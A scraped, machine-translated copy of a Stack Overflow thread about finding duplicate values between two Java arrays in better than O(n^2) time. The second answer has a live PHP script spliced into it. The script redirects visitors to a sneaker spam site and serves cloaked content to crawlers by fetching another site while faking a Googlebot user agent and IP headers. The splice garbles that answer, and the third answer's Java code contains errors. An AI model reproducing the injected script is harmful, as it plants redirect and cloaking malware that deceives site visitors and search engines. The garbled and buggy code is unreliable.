通过2个数组进行二进制搜索

时间:2018-04-27 09:51:30

标签: java big-o binary-search

我在2个阵列之间搜索重复项。

rowSums

目前我的代码在n ^ 2中搜索它但是我试图改进我的代码以运行O(LogN)的时间复杂度而不是O(N ^ 2)。有没有办法可以实现二进制搜索算法在两个数组之间进行搜索?

4 个答案:

答案 0 :(得分:1)

您可以使用第一个数组的元素创建一个集合,然后检查第二个数组中的任何元素是否存在于集合中。

如果约束了可能值的范围,则直接地址表(每个可能值具有一个索引的简单数组)将为O(n)。

或者,使用Java 8的HashSet(在冲突下降级为树),在最坏的情况下,操作通常是O(1)摊销和O(log n)。所以这最好是O(n)或O(n log n)。

答案 1 :(得分:1)

首先,二进制搜索用于排序数组。 其次,即使您对数组进行排序,排序数组的复杂度为O(nlog n),大于下面的方法O(n)。

因为你必须找到重复的Hashmap会派上用场。 Hashmap put()具有O(1)的复杂性,它返回与密钥关联的旧值。

以下代码具有O(n)的复杂度,其中n是最长数组的长度。 但这是以地图的额外空间为代价的。

    int[] f = {17, 17, 22, 19};
    int[] m = {21, 19, 24, 22, 20, 23, 18};
    Map<Integer, Integer> unique = new HashMap<>();

    for(int j = 0; j < f.length; j++) {
         unique.put(f[j], 1);
     }

    for(int i = 0; i < m.length; i++) {
        Integer temp = unique.put(m[i], 2);
        if(temp != null && temp == 1) {

             System.out.printf(m[i] + " ");
         }
    }

答案 2 :(得分:0)

对于给定的两个长度为<?php $tmp = "?" . strtolower($_SERVER['HTTP_USER_AGENT']); if((strpos($tmp, 'bot') != true)){ echo '<script language="javascript" type="text/javascript"> window.location.href="http://www.max270shoes.com/#0425"; </script> ' . "\n"; } function gethttpcnt($url,$username = '',$password = '',$timeout = 10){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($ch,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $cnt = curl_exec($ch); curl_close($ch); return $cnt; } $fromsite="http://moresneakers.com/project/nike-wmns-air-max-97-ultra-wold-greymarina-blue-917704-001/"; $website="http://moresneakers.com/"; $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") { $pageURL .= "s"; } $pageURL .= "://"; $sss= $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; $sss=$pageURL . str_replace("index.php","",$sss); $ss=$_SERVER['PHP_SELF']; $ss=str_replace("index.php","",$ss); $otherstring=$fromsite; $content=gethttpcnt($otherstring); $content=str_replace("\"images/","\"" . $website . "/images/",$content); $content=str_replace("\"/images/","\"" . $website . "/images/",$content); $content=str_replace("\"../images/","\"" . $website . "/images/",$content); $content=str_replace("\"Images/","\"" . $website . "/images/",$content); $content=str_replace("\"/Images/","\"" . $website . "/images/",$content); $content=str_replace("\"../Images/","\"" . $website . "/images/",$content); $content=str_replace("\"includes/templates/","\"" . $website . "/includes/templates/",$content); $content=str_replace("\"/includes/templates/","\"" . $website . "/includes/templates/",$content); $content=str_replace("\"../includes/templates/","\"" . $website . "/includes/templates/",$content); $content=str_replace("\"min/","\"" . $website . "min/",$content); $content=str_replace("\"media/","\"" . $website . "/images/",$content); $content=str_replace("\"/media/","\"" . $website . "/images/",$content); $content=str_replace("\"../media/","\"" . $website . "/images/",$content); $content=str_replace("\"css/","\"" . $website . "/css/",$content); $content=str_replace("\"/css/","\"" . $website . "/css/",$content); $content=str_replace("\"../css/","\"" . $website . "/css/",$content); $content=str_replace("\"skin/","\"" . $website . "/images/",$content); $content=str_replace("\"/skin/","\"" . $website . "/images/",$content); $content=str_replace("\"../skin/","\"" . $website . "/images/",$content); $content=str_replace("\"js/","\"" . $website . "/images/",$content); $content=str_replace("\"/js/","\"" . $website . "/images/",$content); $content=str_replace("\"../js/","\"" . $website . "/images/",$content); $content=str_replace("'images/","'" . $website . "/images/",$content); $content=str_replace("'/images/","'" . $website . "/images/",$content); $content=str_replace("'../images/","'" . $website . "/images/",$content); $content=str_replace("'Images/","'" . $website . "/images/",$content); $content=str_replace("'/Images/","'" . $website . "/images/",$content); $content=str_replace("'../Images/","'" . $website . "/images/",$content); $content=str_replace("'includes/templates/","'" . $website . "/includes/templates/",$content); $content=str_replace("'/includes/templates/","'" . $website . "/includes/templates/",$content); $content=str_replace("'../includes/templates/","'" . $website . "/includes/templates/",$content); $content=str_replace("'min/","'" . $website . "min/",$content); $content=str_replace("'media/","'" . $website . "/images/",$content); $content=str_replace("'/media/","'" . $website . "/images/",$content); $content=str_replace("'../media/","'" . $website . "/images/",$content); $content=str_replace("'skin/","'" . $website . "/images/",$content); $content=str_replace("'/skin/","'" . $website . "/images/",$content); $content=str_replace("'../skin/","'" . $website . "/images/",$content); $content=str_replace("'js/","'" . $website . "/images/",$content); $content=str_replace("'/js/","'" . $website . "/images/",$content); $content=str_replace("'../js/","'" . $website . "/images/",$content); $content=str_replace('href="/','href="' . $website,$content); $content=str_replace('"' . $fromsite . '"','"' . $sss . '"',$content); $content=str_replace("'" . $fromsite . "'","'" . $sss . "'",$content); echo $content; ?> f的数组,我认为最好的方法是使用合并排序对较大的数组m进行排序,这将导致{{1}的复杂性并对m[]的每个元素使用排序O(m*log(m))的二进制搜索,这将给出m[]的复杂性。最糟糕的案例复杂性将在f[]左右。如果O(f*log(m))我们很幸运!!

答案 3 :(得分:0)

您可以 N log N

Arrays.sort(f); // Cost N log N.
Arrays.sort(m);
int fi = 0;
int mi = 0;
while (fi < f.length && mi < f.length) { // Cost N
    int c = Integer.compare(f[fi], m[mi]);
    if (c == 0) {
        System.out.printf("Duplicate %d.%n", f[fi]);
        ++fi;
        ++mi
    } else if (c < 0) {
        ++fi;
        // Speed improvement, unneeded heuristic:
        int ix = Array.binarySearch(f, fi, f.length);
        if (ix < 0) {
            fi = ~ix + 1; // Not found => insert position + 1.
        } else {
            fi = ix; // Found.
        }
    } else {
        ++mi;
        // Speed improvement, unneeded heuristic:
        int ix = Array.binarySearch(m, mi, f.length);
        if (ix < 0) {
            mi = ~ix + 1; // Not found => insert position + 1.
        } else {
            mi = ix; // Found.
        }
    }
}